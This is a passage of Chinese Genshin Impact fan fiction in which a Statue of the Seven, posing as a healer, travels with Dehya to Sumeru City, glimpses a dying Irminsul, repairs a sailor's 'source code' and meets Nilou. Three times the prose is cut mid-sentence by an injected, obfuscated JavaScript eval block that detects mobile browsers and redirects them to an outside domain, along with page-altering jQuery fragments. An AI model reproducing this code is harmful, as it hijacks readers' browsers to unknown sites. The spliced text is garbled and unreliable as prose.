“诶,我说你啊,是不是太见外了?”
没等瑞贝卡说什么,迪希雅先发表了自己的意见:“都是一起遭过罪的关系了,再这么客气,可是会叫人难做的。”
狮子懒洋洋地踱两步道:“都说‘熟人好办事’,呃,话差不多是这个意思,你意会一下,总之,你也不想以后到哪想做什么,把自己认识的人挨个想一遍,都找不出哪怕一个不生分的人吧?”
在狮女王这里,“交浅言深”这个规则绝不适用于她认可的人,哪怕对方尚且认为他们“交浅”。
游医欲言又止。
原本他是想说也不是不行——毕竟他跟别人生分的时候海了去了。对七天神像而言,没有熟人才是常态。
但他很快想到了一种情况,类比一下就是旅行者去了别的提瓦特,残血找了个七天神像,结果发现七天神像没开回血。
没有谁会喜欢这种要访问某个地址却没有访问权限的处境。
现实的需要能让人从善如流,尽管他不是人:“所以?迪希雅是想请客吗?”
“那肯定不止了!”
一直在瑞贝卡身后的达乌德翘了翘胡子,乐呵呵地上前,把一卷书册样的文件放在桌案上,朝哈达察布推了推:“一会儿天晚了收摊,咱们几个一块去喝点儿吧,就你说的,迪希雅请客!
可惜据点里实在找不出什么好东西。这套房产是我们旅团大家一点微不足道的心意,相比大姐头的生命和您的勇敢仗义,这点谢礼实在不算什么,还请您收下吧!”
哈达察布翻开了羊皮纸。
这份契约,与其说是代表一套房产的所有权,更确切地说,其实是一份地契,它距离交付一处居所到他手里,只剩下一个他的亲笔签名和一个指模。
而且,书写契约内容的纸张,背景纹路是熟悉的天平岩心纹。
收到厚礼的游医没来由地联想到一个好像没什么联系的信息。
岩之神、岩王帝君摩拉克斯是贵金之神,有财富之神的别号,他能够给出有这方面效力的祝福。
那么,有没有一种可能,作为契约之神,他对契约、至少对这种相对严谨的明文契约,也有着相似的权限——不仅仅是对盐神信徒背离约定时看似惩戒而非惩罚的敲打?
这甚至可以解释璃月这种政商合一的体制因何得以长久存续。
啧,嘴上说着在度假,好像是在尘世闲游,实际上根本啥都没放手——只能说钟离先生在高维世界的该溜子标签真的害人不浅。
游医有了个想法。
在三个须弥人的旁观下,他信笔在属于地主的位置上签下了“钟离”二字。
“原来你叫钟离啊!”
——可以理解,毕竟他说大实话的时候这人根本没信,或者说,正常人都不会信。
游医立刻开口纠正道:“‘钟离’此名所指的是我的一位有缘人,而非是此身。”
“钟离先生有许多名号,此名乃其于度假期间所用之称。至于为何是钟离先生……我只是觉得你们会合得来。”
哪怕你们并非璃月人——有些人被欣赏被亲近,理当无关国籍和信仰。
就冲对方会因他顺路捞了下迪希雅就带着这份厚礼上门致谢的行事,足见其重情仗义,而且妥妥的人精。
和这种人成为朋友绝对是一大幸运。
他摸了摸迅速干透的笔迹。
距离这份契约生效落实,就差一个钟离本人的指模。
“哈哈……虽然我们不曾见过您说的那位钟离先生,但能让您这样认为,我们就姑且厚着脸皮隔空认识下这位嗯,‘有缘人’好了。”
“可人家都不认识咱……?”
“笨,这是人家介绍朋友呢,”瑞贝卡肘了自家只是看起来机灵的丈夫一下,虽然压低了声音,但在场的人都听得一清二楚,“朋友把朋友的朋友介绍给咱了,那就相当于也是咱的朋友了。”
是一个讲究人可能会觉得是歪理,但又能该死的让人心里舒坦的解读呢。
迪希雅暗自松了口气。
她和瑞贝卡都没有去提他们至今仍不知道游医的真名。
至少对佣兵来说,与之相处极是投缘却不知名姓,并非什么值得惦记的问题。
前一天还在同一家酒馆里喝高了一起吹牛的此前互相不认识的人,可能隔天就要为了各自的雇主你死我活。
如果对方拒绝回答,那就不要好奇,更不要深究。
人总有不想为人所知的东西,不论是名字、代号,亦或是过往、见闻。
打破砂锅问到底,从来不是美德。
他们又不是风纪官,如非必要,保持现状继续做朋友,这就可以了。
人家甚至能在一开始就同他们就署名一事解释明白,而非将错就错糊弄过去,足见诚意。
“既然你收下了,要不我们现在就去看看这处房产?”迪希雅打量了一下这处和上午时相比基本没有变化的摊位,意味明确得很。
没什么人光顾啊。
很正常,毕竟维摩庄是须弥公认的疗养圣地,医疗市场早就饱和了,你个新来的大夫营业第一天,又明显是个外国人的长相。
有更熟悉也靠谱的本地医护,消费者凭啥选你个能力不详的给人家看病调养?
但这次游医拒绝了佣兵们的邀请,“现在尚是工作时间,”他指了指自己摊位的招牌,只见“营业时间:巳、午、未、申时(9:00-17:00)”,“契约既立,不可疏忽,要叫诸位见谅了。”
朝九晚五,属于很多非蒙德人羡慕的工作时间了。
从璃月人口中说出的“契约”一词,总是同磐岩一般,有着特别份量的。
“好吧,”迪希雅也不强求,转而说起另一件事,“五天后呼玛依家的货船要进城去,要不到时候你跟我一起吧?”
这不是什么秘密。
他们接下来要跟的船就是呼玛依家旗下的一艘定时往返的货船。
这的确是游医关心的事。
在离开桓那兰那之前,他根本想象不到自己会为了去须弥城看看而一路绕到维摩庄。
“那便有劳了,公平起见,我可以作为医者同行。”
虽说有很多病不能靠回血来解决,但回血确实能解决很多问
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279212|182475||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
题,这也是他理直气壮有恃无恐打着游医的招牌的底气。
回血+消buff的优势,和他同行了好些日子的迪希雅深有体会。
“太好了,不过虽说货船上会准备足够的食水,但终究条件有限,过来人还是建议在上船之前多准备准备,让自己在船上能舒坦点儿。”
除此之外,她还有一点担忧没有讲出来。
谁知道这条水路上还会不会有什么异变呢?
纵贯雨林的河道再宽阔丰沛,终究也不是广袤的大海,就算是碰到什么突发情况,有着经验丰富的船员和老练的原神在的大船,要想靠岸停泊,也比在海上要容易很多。
但并不意味着他们不需要一些冗余的补给以应付与意外周旋这段时间的消耗。
尤其是在显然会有更多意外的如今。
游医点了点头,“我知道了,接下来四天的营业时间,我都在这里出摊。”
七天神像是饿不死的,食水于他并非刚需,有着默认外观的他也不担心清洁问题,他可以安心等他们收拾好再一同启程。
不过,他的回应听到对方的耳中,却被理解为“我会在非营业时间处理你说的事”。
——所以五天之后,面对神清气爽但两手空空的随行医者,众人也只当他的家当都被收纳在神之眼中,而没有想过这家伙其实啥都没带的可能。
河道的风浪并不明显。
船只驶离阿陀河谷的过程很平稳,和其他在这一天离庄的船没有什么不同,和往日也没有什么不同。
但所有人都知道,他们的状态是和以往不一样的。
经常直面大自然的铁血强硬,无论是佣兵还是水手,都不会指望一个明显在变得更坏的世界大发慈悲。
他们都是习惯了把每一天当成生命最后一天来过的人。
如果他们呼吸到了第二天的空气,那不是他们战胜了命运,而是吃人的世界并没有选择他们作为上一口吃掉的点心。
船长易卜拉欣熟练地指挥着这艘船避开沿途的树井、暗礁、湍流、漩涡、乃至鳄鱼们的栖息地和繁殖区。
他清楚地知道自己的船应该在哪儿。
周围渐渐地升起了雾。
这并不奇怪,河道上本来就是经常雾气氤氲的地方。
之前从须弥城方向过来进入维摩庄的人也有提到起雾的情况,他们也了解到这并不是什么大问题,只要不偏航,他们可以穿过雾气。
当然,具体问题具体分析,人很难按照教科书来生病,突发情况也一样。
雾气逐渐浓了起来。
坚持根据实际的水情调整,朝一个固定的方向前进,在这种情况下,难度明显上升了。
多种仪表出现了指示的冲突。
“看来是地脉异常。”
二副在有条不紊地排查错误的指标,淡淡地给出了自己的结论。
像这样元素力和地脉异常的环境并不罕见,但对一些厉害的原神而言可以轻易应付过去的情况,对普通人而言依旧足以让他们如临大敌。
他不仅要更仔细地去辨别船只的前进方向是否跑偏,还要扛住内心深处另一种本能的怂恿。
想要在视线中找到某种能够作为参照的东西——而毋庸置疑,对正在航行的人类而言,最方便、最习惯、也最能给人安全感的参照物,当然是大地。
而他的视线里,目之所及,俱是一片蒸腾着的白茫茫。
一时间,除了船只正立锥的这块细腻地浮动着水力的液面,他们没有其他可以凭依的东西了。
5. 不一样的漆黑
在驾驶室和轮机室如临大敌的时候,游医却在后面的船舱里无事一身轻,正靠着墙打盹。
七天神像很习惯这种一动不动的状态,与其说他在打盹,倒不如说,这才是他的本能认知里的日常。
庆云顶上的七天神像附近经常是没有人的,通常也只有来往便利的旅行者,会偶尔来这儿采收生长在这里的清心。
大部分时候,他都是独处的,这时他总会借着高维的视角,去“看”一些庆云顶没有的东西。
在他的感觉中,七天神像能“看”见的,并不仅仅是旅行者初次前来时,眼前一亮般开启的一片区域,更不止是一张突然被新的图层覆盖的画面。
数据和算力是相当自由的,来自高维的不可名状给了他一个不可思议的缘分。
也是通过这个渠道,他才学到了许多无论对数据还是对神像而言,都显得突兀、奇怪、又很没必要的“常识”。
嗯,以人类的说法,是常识——至少足够让他被这里的人们识别为一个人、至少是能像人那样沟通的生物,而不是其他什么异形。
面对他人避之唯恐不及的死域,他会表现出和正常人相似的抗拒,哪怕在他的理解中,那只是调用了“死域”、也覆盖了另外的贴图。
在他的视角中,外面的雾气也是同样的。
只能说,不同的感知渠道、不同的信息获取,带来的是比人与非人的本质区别更不着痕迹的、不可名状的厚障壁。
人感觉不到鸟儿用于导航的磁场,也听不见鲸鱼电台里的喜怒哀乐。
游医原以为这样平稳的航行,可能甚至会不需要他派上用场。
他就像在庆云顶上没人的时候那样,任由自己沉浸到另一个无法形容的世界中去,像是真的睡着了一样。
这个时候,他“看”见的东西,又与莫名其妙顶着错误的建模来到须弥之前,他在庆云顶上能“看”见的,有了许多的不同。
在提瓦特,说到通天彻地的巨树——孩子们可能会说“噢!在我们村山上!特别特别高大的!我们几个都爬不到顶!”
但大部分有点儿见识的大人,尤其是在须弥,大家的第一反应都会是——
“世界树。”
他也就笃定地这么称呼在这种视角中初次见面的巨树。
或者说,如今的祂还能不能算是一棵树,尚且两说。
乱入此间的过客蓦地联想到一些似乎八竿子打不着的东西。
在武器突破材料【漆黑陨铁的一片】的文本中,“能把岩王帝君的力量都染黑的”这一形容,如今就在他眼前,活生生地演绎给他看个明白。
这甚至已经不是提瓦特人认知中的“漆黑”了——毕竟那旧的漆黑可以说算是人为定义的,而现在,这是某种于他们而言更加空无的东西。
在数据的视角中,数不清的数字像是正在被按下删除键,消失在姑且称为“漆黑”、“虚无”——总之是什么都没有的地方。
明明没有声音——数的世界没有声音这个概念,可他就是觉得,有什么正在那里,正在发出凄厉的叫声。
他下意识前进了一点点,就像信号不好的时候试着去找一个信号稍强的地方的人那样,想要听清那凄厉的叫声在呼号的内容。
这并不难,二进制世界的时空间与人类的地盘是不一样的,前进的这一点点距离,在实际上已经足够他跳转到他想要的远方。
咫尺天涯。
他确实听见了——
作为此间的世界树,祂已经失去了惨叫的能力,这凄厉的声音,只是在高维的意志降下时,在低维的作为世界树的祂无法抵御无法阻止的自崩解。
听在此间的他耳里,就像是粉身碎骨时的哀嚎。
用提瓦特人能够理解的说法的话,这里的世界树正在以一种恐怖的速度被漆黑吞噬。
虽然理论上没有这个功能,但他还是莫名地意会了人类常用的“头皮发麻”这一形容。
当高维的存在清理这个世界的信息——甚至简单到只需要动动光标、敲一敲删除键,这个世界的人,该是何等的无力绝望呢?
在死域里收殓的尸骸、迪希雅的低落焦虑、来往人等的惶惑不安,他自走下云端以来见到的那么多人,那么多人在努力活着。
他们不想死。
那么多人都不想死。
就连世界本身都在呼号着求生的渴望。
不止是高维意志们热切注视的所谓“角色”,还有那些没有专用建模、没有配备语音的、占用的内存就那么一点点,可能有这样那样的毛病、但终究也是普通得不能再普通的人们。
他们所有人、他们相依为命的整个世界,于那操纵他们命运的傀儡丝的源头而言,不过一堆轻飘飘的二元符号。
无论是他们提瓦特,亦或是其他,所谓璀璨的意志、人性的光辉,在面对更高维度的大手时,从无公道可言。
他能做些什么吗?
为这明明没有做错什么,却没有得到幸福的世界和未来。
……
将他从浅眠的混沌中叫醒的是一位不认识的船员,搀着另一人过来时,身上还带着轮机室那热烘烘的、混着汗臭的矿油味。
他打开了神像的回血功能,伴随着高维视角下跳出的加绿色数字的动画,不仅被搀扶着的人能自己站好了气色也红润了,连带着暂时客串患者家属的船员也顿觉神清气爽。
对方看他的神情有了微妙的变化——
“原来您是用岩元素来治疗的吗!”
游医没有使用常规的诊断和治疗手段,在人们看来,他只是待在那儿,他旁边的患者就突然明显好转了,结合对方的岩元素神之眼,患者方面不难得出这位医者利用元素力进行治疗的论断。
元素力的应用是非常灵活的。
众所周知,因为火焰本身表现出的扩张、延烧、高温、无定等性质,所以人类在应用火元素时,基于这些性质而开发出来的应用方式,会普遍更容易偏向攻坚和破坏能力。
但这并不意味着,火元素就做不到似乎与攻坚和破坏格格不入的治疗——
对在漫漫长夜中跋涉许久的人而言,跳跃着人声和食物香味的温暖篝火是再多摩拉也无法取代的救赎。
岩元素也是一样。
这是七种元素力中,最
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279213|182475||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
滞重沉涩、最以难用著称的元素力——也因为这种最明显的“厚重”的性质,它最常被应用的方向,便是与之最直观关联的拦截、防御、封锁、镇压。
在岩元素的应用中,攻击和治疗都是很冷门的用法。
在神之眼持有者、也即是提瓦特人常说的原神,本身基数相对于总人口就很小的情况下,碰到岩系原神用岩元素来治疗,确实可以算得上一件稀罕事。
对于船员这个不说错误、但也偏到八竿子打不着的猜想,随船的半桶水大夫只是很随意地蒙混了过去:“这不重要,关键是你现在感觉怎么样?”
七天神像的回血消buff解决不了的话,那他只能建议对方多喝热水了:)
好在对方反馈的结果总体是好的。
这个时候,他才有余裕去追问对方变成这个状态的来龙去脉——“怎么突然变成这个样子过来?是因为轮机室太热了吗?”
正常来说,作为医者,出于避免无谓麻烦的社会经验,他大可不必去追问这些与诊疗无关的问题。
但本以为这样平稳的、不会需要他派上用场的航行,如今突然来了一单,总让他无法不在意。
不怪他这么问,这个患者被扶过来的时候,两人都是一身汗的状态,结合轮机室自带的浓重的矿油味,再想想船舶轮机室那种恶劣的工作环境,不难猜测对方可能有的问题。
而对此,患者本人也觉得奇怪:“我觉得不像,平常干活的时候都是这么热的,我也有注意喝水,发昏之前根本没觉得哪里不对。”
在一艘大船上,能被选去轮机室那种地方干活的人,身体素质绝对差不了。
“黑蒙时有感觉到其他什么吗?什么都好。”
在正常的诊断流程上,昏迷的深度会说明很多不同的东西。
这是一个需要一点时间来回想的问题。
对此,陪同患者前来的船员在患者开口之前抢答了:“这家伙倒下来之后也不知道怎么回事,我叫他他都不应,就只嘴巴在那不知道叽叽歪歪些啥,根本听不清。”
“啊?真的假的?”被叽叽歪歪的患者有些难以置信,“我、我完全没印象。”
听起来有点像人喝酒喝懵了的状态。
而醉酒本质上是中毒的表现——神经在抗议,肌肉在罢工,器官在过劳地加班加点。
可问题来了,在打开回血功能之前,他并没有在对方身上看到类似于“醉酒”、“流血”之类的buff。
按理说这种事很正常,并不值得他关注。
普通的提瓦特的npc,多数时候是没有血量条、更没有状态标识的,他只是出于“赌一把万一这人血量没满”的心态,使用“开启回血功能”的方式进行尝试性的治疗。
简而言之,就是有枣没枣打两杆子。
但现在,他确实很希望像这样普通的npc,可以有这种显示血量和状态的功能,最起码能让他立刻知道对方有什么问题。
如果想要继续查明这个人身上的问题,他现在就会的、而且能施行、但不一定有用的办法也就只有一种——
在另一个视角,去看对方的源代码。
6. 非人的修理
对被查看的对象而言,这其实是一件很冒昧的事——尽管对方可能并不知道。
好在对方最终接受了他艰难得简直是鸡同鸭讲的解释,对他开放了权限,而不是他直接看。
不知道为什么,一想到哪个人会被随意翻看,尤其是看这种很隐私的东西,他就觉得自己整块石头都要裂成这里一滩那里一滩了。
很难说人家船员不是看在他试图让患者听懂下一步操作的建议的表述过程过于曲折,看在他好像真的很希望患者能过得好的份上,贴心地放过了这个步骤。
游·回血神像·医:“……”
谢谢,他没瞎,看得见人家脸上的表情。
很显然这俩人类根本没听懂更没get到这种检查有多敏感。
总之,源代码确实是个好东西。
抽象的视角下,医者立刻理清了对方遭遇的来龙去脉。
说起来,这事属实是这人过于倒霉。
须弥是一个与世界树息息相关的国度,小到虚空终端,大到国家权力,无不与世界树的存在密不可分。
这种存在感,不仅可以是切实存在的世界树本身和祂的力量,也可以是围绕祂而衍生的历史、文化、生活等等可知可表的知识,甚至可以简略到只是一个符号一个概念。
有着这样无微不至的影响力,他在高维视角下看到的、世界树的自崩解竟然没有在本土的感知中造成更恐怖的后果,其实才是不可思议的。
他认为一定有什么在竭尽所能地维持着这个虽说异变频发、但也姑且还能说能让人类有休养生息的余裕的表面。
哪怕任何一个看到这个局面的人都绝对心知肚明,再这么下去,这个世界绝对逃不出转瞬即逝的结果。
话扯远了,总而言之,平常时人们是感觉不到什么的——
可这不是他刚刚不久之前才入定——姑且按照璃月的叫法这么说吧,并且还在那个视角下“见”到了正在悲鸣的世界树嘛?
信息的传递总是会留下各种形式的痕迹的。
小到一个没有被赋值的常量,大到一个被调用过的库,他“看”到了,也“听”到了,这便完成了信息的传递。
这个倒霉蛋只是被信息传递的痕迹扫到了一点点台风尾——于是原本还正常运行着的程序有些部分乱套了,开始报错。
就像人类自助餐馆里的自助取盘机,你端掉了一个,它又来一个。
这人如今在他面前看起来已经很正常的状态,其实只是医者本身还在运行的、属于七天神像的生命数值回复和取消一些状态的语句,在以更高优先级去覆盖对方报错的效果而已。
只要他把回血关掉,这人绝对得立刻再倒回去。
不论是作为医者还是作为肇事者,他都有责任把人家修回之前正常时的样子。
可问题来了——
人是没有备份的,他要上哪儿去知道这倒霉蛋之前的源代码?
指望理论上记得一切的森林?那个惨叫声犹然在耳、碎得像被黑猩猩啃过的世界树吗?
当然,图省事的话,他可以追求只把报错给修好,只要代码能正常跑就别管其他的,就此草草了事——如果他不是同时还在行使医者的职责的话。
而且那么潦草的应付,总免不了让真正的钟离先生蒙羞吧。
他扒了扒自己所有能做的操作,最后只能无奈地对这位船员叮嘱道:“有哪里不舒服的话一定要立刻说。”
幸亏这人不是口不能言的婴幼儿。
在放宽要求的情况下,以在场的另一个还算健康的人作为模板,从底层代码的层面上去“修”好一个人并不难。
医者更担心的是,患者会不会因为“修理”时参考了另一个人的数据,而变成不再是自己?或者至少是能被人类用于识别的外观上出现足以被他们识别出来的差别?
他知道,这种在人类群体中类似于基因编辑的手段,便是以最高级别的警惕心来对待也不为过。
可那是以后的事。
现在他只能祈祷,自己操刀的“修复”是让患者的情况以普遍理性而论在向好发展的。
从概率上看,对方受到影响的底层相较于整个个体只是一小部分,需要借外来蓝本进行修复的部分自然也小,即在可供识别的生物特征上没有明显变化的概率很大。
就好比高维的玩家堆了90+的暴击,输出循环打完一轮正常应该大部分伤害都是暴击了的才对。
除了猎人套这类特例,大部分的圣遗物套装在吃双暴的角色手里,都不会只堆个四五十的暴击率。
这个人在高维视角下,就是一个普通的npc,连名字都没有标的那种,大概率不是猎人套那种特例。
医者没有赌博的喜好,掌管□□的神明也不屑于捉弄他。
“醒了?现在感觉怎么样?”
他关闭了那个过于非人的视角,重新注视着眼前的患者。
外观特征上他看不出什么变化,旁边带着患者来就医的人也没有反馈。
对方看起来像是如梦初醒:“总觉得好像之前……看见了很多奇怪的东西。”
“奇怪的东西?”医者模仿语气重复了一遍回答最后的词组,暗示强调。
对方没有直接回答他“现在”的感觉,而是提起之前的感觉。
这就是信息的影响,也是曾经在须弥肆虐的“禁忌知识”的可怕之处。
有些东西,哪怕只是在那什么都不做,依旧能震撼人心。
这种影响不是一过性的,不是他把报错“修”回去就能万事大吉的——出于对患者人格的保护,他没有“修”掉对方存储的记忆,而是用类似于构建防火墙的方式,去“修”掉这种额外的影响。
是以,如今已经提神醒脑了的患者可以隔岸观火——去以正常人的视角审视此前的身体和精神无法理解、本能地回避淡化的东西。
已经基本康复的患者回想着自己之前看到的东西,神情逐渐严肃了起来:“我看见你、您……呃,——”
患者像此前努力地试图向他们说明治疗手段的微妙敏感的医者那样,艰难地试图表述他看到的、此前身体和精神无法承受理
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279214|182475||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
解的代价的东西。
“虽然此前不曾亲眼见过,但那是世界树吧?!”
“世界树在向您伸出千疮百孔的枯败枝桠。”
没等医者对此做出反应,反而是陪同患者前来的船员先激动了起来:“枯败?!那可是世界树!你是看到别的什么东西了吧!”
“枯败?世界树?怎么可能?!”
确实,这怎么可能呢?
坐在来自璃月的乘客对面的人也很想这么问。
没有哪个正常的须弥人能不为那样的景象而惊骇——甚至不需要直面,只是想到、听到这样的消息,都会被硬控。
怎么可能呢?
但想到如今在须弥遍地开花的异变,他只觉得后背一阵发凉。
“所以……您究竟是……?”是谁?是来救我们的吗?
水手的声音低下去,神情小心翼翼的。
须弥人可以放心地像相信智慧那样相信世界树,世界树的判断自然也不例外。
枝桠伸向了这位来自璃月的客人,是不是意味着,这个本应不在小吉祥草王治下、不属于世界树的子民的外邦人,反而能够帮到祂?
或许,也能帮一帮须弥人?
没有哪个正常人想过这种没完没了的提心吊胆的生活。
船舱外面的河道上还翻滚着潮乎乎的浓雾,把他们的船吞进不知名处的胃袋里。
“只是一个要前往须弥城的乘客。”
医者没有让这脆弱的沉默持续下去,用着一种理所当然的语气回应道。
他向来主张以诚待人。
水手当然知道他是个要前往须弥城的乘客,也知道自己讨好的探问被挡了回来。
他没有大商人们那样的巧舌如簧,被体面地拒绝之后,他只能语塞,只能自己去猜。
须弥城有什么能够吸引这种有着不为人知的神秘的人物呢?
作为须弥这个国家的核心、也作为央陆的焦点,须弥城当然不会缺好东西。
南来北往的各色商品,不亚于北陆灯塔璃月港的繁荣,葱郁怡人的草木奇妙的与鼎沸人声相得益彰,千年智慧在教令院流转无休,拱卫着净善宫里最受崇敬的神灵。
可这些在随时可能砍下来的看不见的刀口下,都过于苍白无力了。
身外之物,生不带来死不带去。
不知何时就不知在哪发作的异变,可能对在就近拱卫着净善宫的须弥城里长居不离的人而言,只是他人口中的惊悚。
可那样遥远可笑的天真,早就与他们这种哪怕在平日里讨生活、便已竭尽全力的人无缘。
净善宫里的神灵并没能阻止事态的恶化。
对一位能吸引世界树伸出枝桠的神秘人,他们须弥好像没有足以打动对方的东西。
这位神秘人并没有留客的打算,只是像一个寻常医者那样,给出吃好睡好之类老生常谈的医嘱,随后便示意他们可以离开。
他问不出什么来的,也猜不出什么来的。
他只是个再普通不过的人,什么都不知道,也对此无能为力。
7. 朋友
这艘船足够幸运,曾在维摩庄的人那里听来的建议依旧有效。
可能只是过了一小会儿,也可能已经鏖战半晌,包裹着船的雾终于眼见着逐渐变淡起来。
在驾驶室的人已经认出了河道两岸一些熟悉的景物,小到长鬓虎在树干上抓过的领地标志,大到大树的气生根形成的天然限高杆。
熟悉的东西总是能给人带来安全感和勇气的。
就好像已经在这次大雾中花完了所有的坏运气,之后的航行平常得简直和过往几十年中的大多数航程一样。
他们就这样穿过了天臂池,来到了须弥城下的港湾。
泊在这里的船只很多。
这并不奇怪,在各地危机四起的现下,能算得上暂时安全的地方实在不多。
在有神灵庇护的国度里,又有哪里比距离神灵最近的聚居地更符合人们在危机时对“安全”的认知呢?
“呼!终于——终于!回来了!”
迪希雅没等船停稳,就迫不及待地一个大跳到港口坚实的地面上,大大地抻了个懒腰。
在这个规模不小的航运枢纽,像她这样兴奋的人并不算少——当然,不是谁都有这种狮子般的力量。
老妪亲着风尘仆仆的女儿消瘦的脸颊放松地笑着,有大有小的孩子扑进笑呵呵张开臂膀的男子怀里争先恐后地叽叽喳喳。
像是个满盈希望和光明的人间。
跟着卸货的人顺着艞板施施然下船的医者注视着这生机无限的港湾,看得目不转睛。
他不知道这里的璃月港是什么样子,但无疑,仅仅是这座城市的港口,也已经足以配得上一个繁荣的第一印象。
人间乐。
与他们这一路的刀尖起舞好像是两个世界。
“这就是须弥城啊。”
迪希雅没有听出他感慨之下的复杂意味,只觉得他是在为须弥繁荣的心脏而惊叹,她与有荣焉地回答道:“如你所见,怎么样?跟你们的璃月港相比,其实也不差什么的。”
走南闯北多年,璃月港这个大都市她也去了好几次,“单纯论繁华论富贵,还是璃月港更胜一筹,摆事实讲道理,这个必须承认。”
“不过我还是觉得须弥,上到须弥城下至阿如村,我都过得更舒服些,璃月港好是好,就是感觉所有人都好忙好忙,我看着都觉得累。”
“须弥城还是好不少的,嗯,只要你不是教令院的,或者你没当风纪官,只是做生意,甚至种地什么的,一般赚得不多,但养活自己还是足够的。”
教育资源和医疗资源一样,是有着强大的虹吸和富集作用的。
这里有当下的提瓦特最顶尖的学府——祂的繁荣只需要这一个理由,正如璃月港因黄金而闪耀一样理所当然。
资源会自动流入这座依托于华木而建的大城市。
挑剔的琉璃百合和霓裳花应允了璃月港的邀请,同样的,娇气的帕蒂沙兰在须弥城也能活得骨丰肉润。
“迪希雅?!”
那是一个离他们有点远,但非常抓耳朵的少女的嗓音。
“妮露!”迪希雅听到这个声音眼前一亮,语气惊讶。
显然,在向这边跑过来的姑娘和迪希雅是互相认识的。
医者也看向那个像帕蒂沙兰一样的少女。
这就是他在外溜过的知识里认证过的种门圣女吗?
“你走了这么久,也没个消息,迪娜泽黛可担心死你了!”
被唤作妮露的姑娘看起来就是一副有一肚子话要说的状态,迪希雅赶紧清了清嗓子,示意旁边还有医者这个大活人在。
妮露这时才注意到迪希雅旁边还站着个生面孔,而且以两人这个站位距离,之前很可能正在谈话。
她摸了摸下巴,“嗯,这位是……?”上下打量了一番,脸上渐渐若有所思,“是迪希雅的新朋友吧?”
其实她想说的不是这个,但毕竟第一次见面,进展不能太快,免得吓到人家。
“不是哦,我们认识了两个月左右了,之前他还救了我,我们还同行了一路,所以早就是老朋友而不是新朋友啦!”
“以普遍理性而论,确实如此。”医者颔首回应道。
哇塞!
妮露在心里为这口陈酿般的音色暗自惊叹。
迪希雅这回交的这个朋友,很不简单啊,“所以,不介绍一下吗?我叫妮露,也是迪希雅的老朋友哦。”
这话迪希雅没法接——
虽说她自认跟这人是过命的交情,这人也承认了与她的友谊,但至今不知道这人的名字这种事,嗯……
成熟的大人是不能让话头掉在地上的,她看向这个至今不知名号的you-know-who,揽过妮露咧嘴笑道,“我叫迪希雅,这是我的老朋友妮露!
——到你咯?”
妮露拍了拍迪希雅的手臂,目光一直在医者身上逡巡着。
医者并不在意对方为何这样打量他,只接着迪希雅的话道:“我倒是想说我是岩神像,但迪希雅曾经评价‘该自我介绍过于蒙德’,并未相信。”
嚯。和沉稳的外形很有反差的思维呢。
他揣起手来,表情无奈,“鉴于我如今正在须弥游历,在此期间,我会以哈达察布自称。”
“所以,现在迪希雅、哈达察布和我就是朋友啦~”妮露突然凑了上来,“刚刚见面的时候我就想说了,你的形体条件特别好,我都想把你挖到大巴扎来一起跳舞啦!”
迪希雅扶额叹了口气:“就知道会是这样,我猜你连新的舞步都想出来了对吧。”
“嗨呀,迪希雅是懂我的~”妮露双手合十,笑得一脸乖巧:“本来我想着突然就这么说会不会吓到你,但你的条件真的非常非常好,嗯……不这么向你坦诚说明的话,总觉得不够朋友呢。”
因为是朋友,所以要抛开那些生分的患得患失,在不伤害对方身心的前提下,相信对方就算有些惊吓,也会包容理解。
哈达察布下意识低头看了看自己。
钟离先生的形体条件久经高维审美的考验,加上妮露这个专业舞者的眼光认证——
“非常感谢吾友妮露小姐的厚爱,舞蹈一事,我既无台下苦练寒暑不辍之勤功,又无鸟兽天性灵活奇巧之异禀,便是去了大巴扎,也就是在台下为舞者捧场的份。”
朋友。
虽然不知道为什么,但哈达察布确实很喜欢这个发音很温柔的词。
作为朋友,应该为朋友着想——
所以拒绝和朋友一起跳舞,因为他不会、没练过、与舞艺高超的朋友同台会极不相衬,有违朋友对舞蹈艺术之美的追求;
所以对观赏舞蹈表现出比较积极的态度,因为朋友的艺术追求会受到鼓励。
“那很好哇!你们现在不忙吧?要不一起先来祖拜尔剧场吃点儿喝点儿,晚点看看我们的排练?”
迪希雅听了,竖起食指摇了摇:“可以是可以,不过在那之前,我猜你是抽空出来放松的吧?难得闲暇,你确定现在就回去?”
妮露可以说是祖拜尔剧场的招牌
